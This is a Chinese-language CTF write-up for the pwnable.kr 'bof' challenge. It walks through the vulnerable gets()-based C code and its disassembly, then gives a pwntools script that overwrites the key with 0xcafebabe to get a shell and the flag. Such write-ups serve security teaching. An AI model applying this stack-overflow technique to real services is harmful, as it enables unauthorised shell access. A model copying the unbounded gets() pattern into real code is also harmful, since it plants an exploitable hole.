pwnable.kr-bof

pwnable.kr-bof

昨天整理了一下论文，打印上交，把答辩PPT做完，没有做题。

题目描述

Nana told me that buffer overflow is one of the most common software vulnerability. 
Is that true?

Download : http://pwnable.kr/bin/bof
Download : http://pwnable.kr/bin/bof.c

Running at : nc pwnable.kr 9000

题目中看到这是一道栈溢出问题。

题目分析

因为之前做过栈溢出的题目，所以有一定了解。

1. 先下载文件
   在Linux系统中命令：wget +网址

hdd@ubuntu:~/Desktop/bof$ wget http://pwnable.kr/bin/bof
hdd@ubuntu:~/Desktop/bof$ wget http://pwnable.kr/bin/bof.c

2. 查看bof.c文件

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
	char overflowme[32];
	printf("overflow me : ");
	gets(overflowme);	// smash me!
	if(key == 0xcafebabe){
		system("/bin/sh");
	}
	else{
		printf("Nah..\n");
	}
}
int main(int argc, char* argv[]){
	func(0xdeadbeef);
	return 0;
}

3. 分析代码，找到会发生溢出的函数，gets(),这里没有对输入进行限制，会造成缓冲区溢出。只要使key值等于0xcafebabe，就会得到系统shell，获得flag。
4. 查看一下bof的反汇编代码，查看func()的反汇编代码

0000062c <func>:
 62c:	55                   	push   %ebp
 62d:	89 e5                	mov    %esp,%ebp
 62f:	83 ec 48             	sub    $0x48,%esp
 632:	65 a1 14 00 00 00    	mov    %gs:0x14,%eax
 638:	89 45 f4             	mov    %eax,-0xc(%ebp)
 63b:	31 c0                	xor    %eax,%eax
 63d:	c7 04 24 8c 07 00 00 	movl   $0x78c,(%esp)
 644:	e8 fc ff ff ff       	call   645 <func+0x19>
 649:	8d 45 d4             	lea    -0x2c(%ebp),%eax
 64c:	89 04 24             	mov    %eax,(%esp)
 64f:	e8 fc ff ff ff       	call   650 <func+0x24>
 654:	81 7d 08 be ba fe ca 	cmpl   $0xcafebabe,0x8(%ebp)
 65b:	75 0e                	jne    66b <func+0x3f>
 65d:	c7 04 24 9b 07 00 00 	movl   $0x79b,(%esp)
 664:	e8 fc ff ff ff       	call   665 <func+0x39>
 669:	eb 0c                	jmp    677 <func+0x4b>
 66b:	c7 04 24 a3 07 00 00 	movl   $0x7a3,(%esp)
 672:	e8 fc ff ff ff       	call   673 <func+0x47>
 677:	8b 45 f4             	mov    -0xc(%ebp),%eax
 67a:	65 33 05 14 00 00 00 	xor    %gs:0x14,%eax
 681:	74 05                	je     688 <func+0x5c>
 683:	e8 fc ff ff ff       	call   684 <func+0x58>
 688:	c9                   	leave  
 689:	c3                   	ret

从649那可以看出，局部变量的地址为edp-0x2c，从654看出，key值的地址在edp+x8，因为是32位的文件，所以构造如下数据进行填充：
payload='a'*44+'a'*8+p32(0xcafebabe)

5. 脚本代码

from pwn import *
r=remote('pwnable.kr',9000)
payload='a'*44+'a'*8+p32(0xcafebabe)
r.sendline(payload)
r.interactive()

6. 运行脚本，获得flag

hdd@ubuntu:~/Desktop/bof$ python bof.py
[+] Opening connection to pwnable.kr on port 9000: Done
[*] Switching to interactive mode
$ ls
bof
bof.c
flag
log
log2
super.pl
$ cat flag
daddy, I just pwned a buFFer :)